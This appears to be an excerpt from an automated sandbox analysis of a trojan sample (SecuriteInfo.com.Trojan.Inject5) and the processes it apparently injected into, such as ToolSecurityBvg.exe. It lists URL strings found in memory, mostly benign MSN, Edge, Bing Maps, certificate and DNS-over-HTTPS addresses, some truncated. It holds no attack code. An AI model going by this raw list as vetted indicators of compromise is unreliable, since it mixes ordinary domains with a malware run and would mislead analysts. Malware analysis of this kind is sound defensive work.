Source: ToolSecurityBvg.exe, 0000000A.00000003.2786383350.0000000002EC6000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://assets.msn.com/bundles/v1/edgeChromium/latest/channel-data-connector.6af24a62faa7b3317068.js
Source: ToolSecurityBvg.exe, 0000000A.00000003.2786383350.0000000002EC6000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2733252580.0000000002EC6000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://assets.msn.com/bundles/v1/edgeChromium/latest/common-cscore.7146072dacb9c6d847f4.js
Source: ToolSecurityBvg.exe, 0000000A.00000003.2786383350.0000000002EC6000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2733252580.0000000002EC6000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://assets.msn.com/bundles/v1/edgeChromium/latest/common-feed-libs.5d98f8276f7f5784f29c.js
Source: ToolSecurityBvg.exe, 0000000A.00000003.2733252580.0000000002EC6000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://assets.msn.com/bundles/v1/edgeChromium/latest/common-others.48496234051f369acd77.js
Source: ToolSecurityBvg.exe, 0000000A.00000003.2733252580.0000000002EC6000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://assets.msn.com/bundles/v1/edgeChromium/latest/common-others.48496234051f369acd77.js42ef.js
Source: ToolSecurityBvg.exe, 0000000A.00000003.2786383350.0000000002EC6000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2733252580.0000000002EC6000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://assets.msn.com/bundles/v1/edgeChromium/latest/common-segments.f3495467fa62efdf352e.js
Source: ToolSecurityBvg.exe, 0000000A.00000003.2786383350.0000000002EC6000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://assets.msn.com/bundles/v1/edgeChromium/latest/common-settings-edgenext.e03df4f3c3e148a827aa.
Source: ToolSecurityBvg.exe, 0000000A.00000003.2864890309.000000000804C000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://assets.msn.com/bundles/v1/edgeChromium/latest/d3-library.a64547ff18388d387d59.js
Source: ToolSecurityBvg.exe, 0000000A.00000003.2849256431.000000000804C000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2786383350.0000000002EC6000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2750387192.000000000804C000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://assets.msn.com/bundles/v1/edgeChromium/latest/feedback.d1dfd4e19f93dffd1631.js
Source: ToolSecurityBvg.exe, 0000000A.00000003.2849256431.000000000804C000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2750387192.000000000804C000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://assets.msn.com/bundles/v1/edgeChromium/latest/feedback.d1dfd4e19f93dffd1631.js47
Source: ToolSecurityBvg.exe, 0000000A.00000003.2786383350.0000000002EC6000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://assets.msn.com/bundles/v1/edgeChromium/latest/feedback.d1dfd4e19f93dffd1631.jsse148a827aa.js
Source: ToolSecurityBvg.exe, 0000000A.00000003.2786383350.0000000002EC6000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://assets.msn.com/bundles/v1/edgeChromium/latest/float-button-group-wc.497dec6fdaf296da2c80.js
Source: ToolSecurityBvg.exe, 0000000A.00000003.2850257235.0000000002EC6000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2770575385.0000000002EC6000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://assets.msn.com/bundles/v1/edgeChromium/latest/libs_topics-shared-state_dist_TopicData_connec
Source: ToolSecurityBvg.exe, 0000000A.00000003.2786383350.0000000002EC6000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://assets.msn.com/bundles/v1/edgeChromium/latest/microsoft.4fa8815283fe3d88a934.js
Source: ToolSecurityBvg.exe, 0000000A.00000003.2786383350.0000000002EC6000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://assets.msn.com/bundles/v1/edgeChromium/latest/microsoft.4fa8815283fe3d88a934.js7
Source: ToolSecurityBvg.exe, 0000000A.00000003.2786498403.0000000002E50000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://assets.msn.com/bundles/v1/edgeChromium/latest/money-info-service.1ab254b14f307ba92272.js
Source: ToolSecurityBvg.exe, 0000000A.00000003.2786383350.0000000002EC6000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://assets.msn.com/bundles/v1/edgeChromium/latest/money-info.2b93124f04defe9e7c1e.js
Source: ToolSecurityBvg.exe, 0000000A.00000003.2786498403.0000000002E50000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://assets.msn.com/bundles/v1/edgeChromium/latest/nas-highlight-v1.846a153fba0d5b83eaa6.js
Source: ToolSecurityBvg.exe, 0000000A.00000003.2786383350.0000000002EC6000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://assets.msn.com/bundles/v1/edgeChromium/latest/nas-highlight-v3v4.96c9258f7f420d1fef88.js
Source: ToolSecurityBvg.exe, 0000000A.00000003.2786383350.0000000002EC6000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2786498403.0000000002E50000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://assets.msn.com/bundles/v1/edgeChromium/latest/nativeadstemplates.0610aec23b25fd495dd1.js
Source: ToolSecurityBvg.exe, 0000000A.00000003.2786498403.0000000002E50000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://assets.msn.com/bundles/v1/edgeChromium/latest/nativeadstemplates.0610aec23b25fd495dd1.jseBod
Source: ToolSecurityBvg.exe, 0000000A.00000003.2786383350.0000000002EC6000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://assets.msn.com/bundles/v1/edgeChromium/latest/node_modules_xmlbuilder2_lib_xmlbuilder2_min_j
Source: ToolSecurityBvg.exe, 0000000A.00000003.2849256431.000000000804C000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2733252580.0000000002EC6000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2750387192.000000000804C000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://assets.msn.com/bundles/v1/edgeChromium/latest/nurturing-banner.5427ed517b25912da5eb.js
Source: ToolSecurityBvg.exe, 0000000A.00000003.2733252580.0000000002EC6000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://assets.msn.com/bundles/v1/edgeChromium/latest/ocvFeedback.053432356776d73a8b05.js
Source: ToolSecurityBvg.exe, 0000000A.00000003.2864890309.000000000804C000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://assets.msn.com/bundles/v1/edgeChromium/latest/pill-wc.21e37158e5f2061ff198.js
Source: ToolSecurityBvg.exe, 0000000A.00000003.2864890309.000000000804C000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://assets.msn.com/bundles/v1/edgeChromium/latest/super-nav.b1aed0389e970ac80e1a.js
Source: ToolSecurityBvg.exe, 0000000A.00000003.2800238482.0000000002EC6000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://assets.msn.com/bundles/v1/edgeChromium/latest/superBreakingNews.3cd5fe99446729d304a3.js
Source: ToolSecurityBvg.exe, 0000000A.00000003.2800238482.0000000002EC6000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://assets.msn.com/bundles/v1/edgeChromium/latest/superBreakingNews.3cd5fe99446729d304a3.jsd9
Source: ToolSecurityBvg.exe, 0000000A.00000003.2733252580.0000000002EC6000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2864890309.000000000804C000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://assets.msn.com/bundles/v1/edgeChromium/latest/toast-wc.52fc0390edd2799a19a7.js
Source: ToolSecurityBvg.exe, 0000000A.00000003.2733252580.0000000002EC6000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://assets.msn.com/bundles/v1/edgeChromium/latest/toast-wc.52fc0390edd2799a19a7.js47
Source: ToolSecurityBvg.exe, 0000000A.00000003.2733252580.0000000002EC6000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://assets.msn.com/bundles/v1/edgeChromium/latest/toast-wc.52fc0390edd2799a19a7.jsa5eb.js
Source: ToolSecurityBvg.exe, 0000000A.00000003.2864890309.000000000804C000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://assets.msn.com/bundles/v1/edgeChromium/latest/traffic-card-wc.30450257b1422e2eaedf.js
Source: ToolSecurityBvg.exe, 0000000A.00000003.2733252580.0000000002EC6000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://assets.msn.com/bundles/v1/edgeChromium/latest/waffle-wc.cfbfa2c46ed729a20ee1.js
Source: ToolSecurityBvg.exe, 0000000A.00000003.2733252580.0000000002EC6000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://assets.msn.com/bundles/v1/edgeChromium/latest/waffle-wc.cfbfa2c46ed729a20ee1.js5eb.js
Source: ToolSecurityBvg.exe, 0000000A.00000003.2733252580.0000000002EC6000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://assets.msn.com/bundles/v1/edgeChromium/latest/waffle-wc.cfbfa2c46ed729a20ee1.js7
Source: ToolSecurityBvg.exe, 0000000A.00000003.2850257235.0000000002ED5000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://assets.msn.com/bundles/v1/edgeChromium/latest/weather-card-data-connector.c490877a0a3478ece4
Source: ToolSecurityBvg.exe, 0000000A.00000003.2849256431.000000000804C000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2733252580.0000000002EC6000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2750387192.000000000804C000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://assets.msn.com/bundles/v1/edgeChromium/latest/weather-one-liner.7101db4d4741c73767db.js
Source: ToolSecurityBvg.exe, 0000000A.00000003.2849256431.000000000804C000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2750387192.000000000804C000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://assets.msn.com/bundles/v1/edgeChromium/latest/weather-one-liner.7101db4d4741c73767db.js.js
Source: ToolSecurityBvg.exe, 0000000A.00000003.2864890309.000000000804C000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://assets.msn.com/bundles/v1/edgeChromium/latest/welcomeGreetingLight.8a5da3fa2d11a8e6ce08.js
Source: ToolSecurityBvg.exe, 0000000A.00000003.2754339287.0000000002E50000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2735957927.0000000002E50000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://assets.msn.com/config/v1/&os=windows&locale=
Source: ToolSecurityBvg.exe, 0000000A.00000003.2801517154.0000000008061000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2731991121.00000000080EE000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://assets.msn.com/config/v1/&quot;
Source: ToolSecurityBvg.exe, 0000000A.00000003.2868719744.0000000002EC6000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2802363890.0000000002EC6000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2736944302.000000000804C000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://assets.msn.com/service/news/feed/pages/weblayout?User=m-298FBC8F51F06FBE167AA92C50F76ED8&act
Source: ToolSecurityBvg.exe, 0000000A.00000003.2703942368.0000000002EC6000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://assets.msn.com/statics/icons/favicon.ico
Source: ToolSecurityBvg.exe, 0000000A.00000003.2849256431.000000000804C000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://assets.msn.com/staticsb/statics/latest/icons-wc/icons/LessFeed.svg
Source: ToolSecurityBvg.exe, 0000000A.00000003.2864890309.000000000804C000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://assets.msn.com/staticsb/statics/latest/icons-wc/icons/edit_20_filled.svgg.svgrue&cv=0O18rQ
Source: ToolSecurityBvg.exe, 0000000A.00000003.2849256431.000000000804C000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://assets.msn.com/staticsb/statics/latest/icons/office-icons/Calendar_24x.svg
Source: ToolSecurityBvg.exe, 0000000A.00000003.2849256431.000000000804C000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://assets.msn.com/staticsb/statics/latest/icons/office-icons/Engage_24x.svg
Source: ToolSecurityBvg.exe, 0000000A.00000003.2849256431.000000000804C000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://assets.msn.com/staticsb/statics/latest/icons/office-icons/PowerAutomate_24x.svg
Source: ToolSecurityBvg.exe, 0000000A.00000003.2849256431.000000000804C000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://assets.msn.com/staticsb/statics/latest/icons/office-icons/Teams_24x.svg
Source: ToolSecurityBvg.exe, 0000000A.00000003.2849256431.000000000804C000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://assets.msn.com/staticsb/statics/latest/icons/office-icons/ToDo_24x.svg
Source: ToolSecurityBvg.exe, 0000000A.00000003.2849256431.000000000804C000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://assets.msn.com/staticsb/statics/latest/icons/office-icons/Viva_24x.svg
Source: ToolSecurityBvg.exe, 0000000A.00000003.2849256431.000000000804C000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://assets.msn.com/staticsb/statics/latest/icons/office-icons/Yammer_24x.svg
Source: ToolSecurityBvg.exe, 0000000A.00000003.2799753318.0000000002E57000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2783460425.0000000002E60000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2782490707.0000000008092000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2824427145.0000000002E50000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2822087158.0000000002E60000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://browser.events.data.msn.com/OneCollector/1.0?cors=true&content-type=application/x-json-strea
Source: ToolSecurityBvg.exe, 0000000A.00000003.2799708414.0000000002EC6000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2865182697.0000000002EC6000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2787832029.0000000002EC6000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://bzib.nelreports.net/api/report?cat=bingbusiness
Source: ToolSecurityBvg.exe, 0000000A.00000003.2754958749.0000000002E50000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://chrome.cloudflare-dns.com
Source: SecuriteInfo.com.Trojan.Inject5.17530.4675.11921.exe, 00000001.00000003.1816845229.00000000009A9000.00000004.00000020.00020000.00000000.sdmp, RoboTaskLite.exe, 00000002.00000002.1846717324.0000000009D3F000.00000004.00000020.00020000.00000000.sdmp, RoboTaskLite.exe, 00000002.00000003.1829507773.000000000A9AB000.00000004.00000001.00020000.00000000.sdmp, RoboTaskLite.exe, 00000002.00000003.1832444784.0000000000A4C000.00000004.00000001.00020000.00000000.sdmp, cmd.exe, 00000004.00000002.2196490603.00000000054E6000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://d.symcb.com/cps0%
Source: SecuriteInfo.com.Trojan.Inject5.17530.4675.11921.exe, 00000001.00000003.1816845229.00000000009A9000.00000004.00000020.00020000.00000000.sdmp, RoboTaskLite.exe, 00000002.00000002.1846717324.0000000009D3F000.00000004.00000020.00020000.00000000.sdmp, RoboTaskLite.exe, 00000002.00000003.1829507773.000000000A9AB000.00000004.00000001.00020000.00000000.sdmp, RoboTaskLite.exe, 00000002.00000003.1832444784.0000000000A4C000.00000004.00000001.00020000.00000000.sdmp, cmd.exe, 00000004.00000002.2196490603.00000000054E6000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://d.symcb.com/rpa0
Source: SecuriteInfo.com.Trojan.Inject5.17530.4675.11921.exe, 00000001.00000003.1816845229.00000000009A9000.00000004.00000020.00020000.00000000.sdmp, RoboTaskLite.exe, 00000002.00000003.1829507773.000000000A9AB000.00000004.00000001.00020000.00000000.sdmp, RoboTaskLite.exe, 00000002.00000003.1832444784.0000000000A4C000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://d.symcb.com/rpa0.
Source: ToolSecurityBvg.exe, 0000000A.00000003.2735686937.000000000804C000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2751593457.0000000002EC6000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://deff.nelreports.net/api/report
Source: ToolSecurityBvg.exe, 0000000A.00000003.2824383589.0000000002EC6000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://deff.nelreports.net/api/report?cat=msn
Source: ToolSecurityBvg.exe, 0000000A.00000003.2847865729.0000000002EC6000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2771704158.0000000002EC6000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2824383589.0000000002EC6000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://deff.nelreports.net/api/report?cat=msnT7
Source: ToolSecurityBvg.exe, 0000000A.00000003.2735686937.000000000804C000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://deff.nelreports.net/api/report?cat=msncom
Source: ToolSecurityBvg.exe, 0000000A.00000003.2735686937.000000000804C000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://deff.nelreports.net/api/reportcat=msn
Source: ToolSecurityBvg.exe, 0000000A.00000003.2813594876.0000000008075000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2851642447.000000000806B000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2824175276.000000000806B000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2751593457.0000000002EC6000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2735686937.000000000806B000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2847462277.000000000806B000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2725129682.000000000806B000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://dev.ditu.live.com/REST/v1/Locations/
Source: ToolSecurityBvg.exe, 0000000A.00000003.2813594876.0000000008075000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2851642447.000000000806B000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2824175276.000000000806B000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2735686937.000000000806B000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2847462277.000000000806B000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2725129682.000000000806B000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://dev.ditu.live.com/REST/v1/Routes/
Source: ToolSecurityBvg.exe, 0000000A.00000003.2813594876.0000000008075000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2851642447.000000000806B000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2824175276.000000000806B000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2751593457.0000000002EC6000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2735686937.000000000806B000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2847462277.000000000806B000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2725129682.000000000806B000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://dev.virtualearth.net/REST/v1/Locations/
Source: ToolSecurityBvg.exe, 0000000A.00000003.2813594876.0000000008075000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2851642447.000000000806B000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2824175276.000000000806B000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2735686937.000000000806B000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2847462277.000000000806B000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2725129682.000000000806B000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://dev.virtualearth.net/REST/v1/Routes/
Source: ToolSecurityBvg.exe, 0000000A.00000003.2849256431.000000000804C000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2727306296.00000000080D5000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2750387192.000000000804C000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2703892497.00000000080D5000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://developers.cloudflare.com/1.1.1.1/privacy/public-dns-resolver/
Source: ToolSecurityBvg.exe, 0000000A.00000003.2799708414.0000000002EC6000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2865182697.0000000002EC6000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://developers.google.com/speed/public-dns/privacy
Source: ToolSecurityBvg.exe, 0000000A.00000003.2799708414.0000000002EC6000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2865182697.0000000002EC6000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://developers.google.com/speed/public-dns/privacyquery
Source: ToolSecurityBvg.exe, 0000000A.00000003.2704461611.0000000008063000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2728727480.0000000002E82000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://dns.levonet.sk/dns-query
Source: ToolSecurityBvg.exe, 0000000A.00000003.2704461611.0000000008063000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2728727480.0000000002E82000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://dns10.quad9.net/dns-query
Source: ToolSecurityBvg.exe, 0000000A.00000003.2704461611.0000000008063000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2728727480.0000000002E82000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://dns11.quad9.net/dns-query
Source: ToolSecurityBvg.exe, 0000000A.00000003.2704461611.0000000008063000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2728727480.0000000002E82000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://dns64.dns.google/dns-query
Source: ToolSecurityBvg.exe, 0000000A.00000003.2704461611.0000000008063000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2728727480.0000000002E82000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://doh-01.spectrum.com/dns-query
Source: ToolSecurityBvg.exe, 0000000A.00000003.2704461611.0000000008063000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2728727480.0000000002E82000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://doh-02.spectrum.com/dns-query
Source: ToolSecurityBvg.exe, 0000000A.00000003.2865182697.0000000002EC6000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://doh.cleanbrowsing.org/doh/adult-filter
Source: ToolSecurityBvg.exe, 0000000A.00000003.2865182697.0000000002EC6000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://doh.cleanbrowsing.org/doh/family-filter
Source: ToolSecurityBvg.exe, 0000000A.00000003.2865182697.0000000002EC6000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://doh.cleanbrowsing.org/doh/security-filter
Source: ToolSecurityBvg.exe, 0000000A.00000003.2865182697.0000000002EC6000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://doh.familyshield.opendns.com/dns-query
Source: ToolSecurityBvg.exe, 0000000A.00000003.2704461611.0000000008063000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2728727480.0000000002E82000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://doh.opendns.com/dns-query
Source: ToolSecurityBvg.exe, 0000000A.00000003.2704461611.0000000008063000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2728727480.0000000002E82000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://doh.quickline.ch/dns-query
Source: ToolSecurityBvg.exe, 0000000A.00000003.2813594876.0000000008075000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2851642447.000000000806B000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2824175276.000000000806B000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2735686937.000000000806B000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2847462277.000000000806B000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2725129682.000000000806B000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://dynamic.t0.tiles.ditu.live.com
Source: ToolSecurityBvg.exe, 0000000A.00000003.2710537450.00000000080D5000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2751362417.000000000804C000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2729165291.000000000804C000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://ecs.nel.measure.office.net/api/report?TenantId=Edge&DestinationEndpoint=Edge-Prod-EWR31r5d&F
Source: ToolSecurityBvg.exe, 0000000A.00000003.2801517154.0000000008061000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2731991121.00000000080EE000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://edgeassetservice.azureedge.net/assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtrac
Source: ToolSecurityBvg.exe, 0000000A.00000003.2703942368.0000000002EC6000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_M365_light.png/1.7.32/asset
Source: ToolSecurityBvg.exe, 0000000A.00000003.2703942368.0000000002EC6000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_M365_light.png/1.7.32/asset1/asset
Source: ToolSecurityBvg.exe, 0000000A.00000003.2710537450.00000000080D5000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_edrop_maximal_light.png/1.1.12/asset
Source: ToolSecurityBvg.exe, 0000000A.00000003.2703942368.0000000002EC6000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_light.png/1.7.1/asset
Source: ToolSecurityBvg.exe, 0000000A.00000003.2703942368.0000000002EC6000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_outlook_light.png/1.9.10/asset
Source: ToolSecurityBvg.exe, 0000000A.00000003.2710537450.00000000080D5000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_search_maximal_light.png/1.3.6/asset
Source: ToolSecurityBvg.exe, 0000000A.00000003.2735957927.0000000002E50000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://ent-api.msn.com/%22
Source: ToolSecurityBvg.exe, 0000000A.00000003.2729165291.000000000804C000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/AA1u24yb.img
Source: ToolSecurityBvg.exe, 0000000A.00000003.2729165291.000000000804C000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/AA1u24yb.img0
Source: ToolSecurityBvg.exe, 0000000A.00000003.2849256431.000000000804C000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/BB18CMuA?w=168&h=168&q=60&m=6&f=jpg&u=t
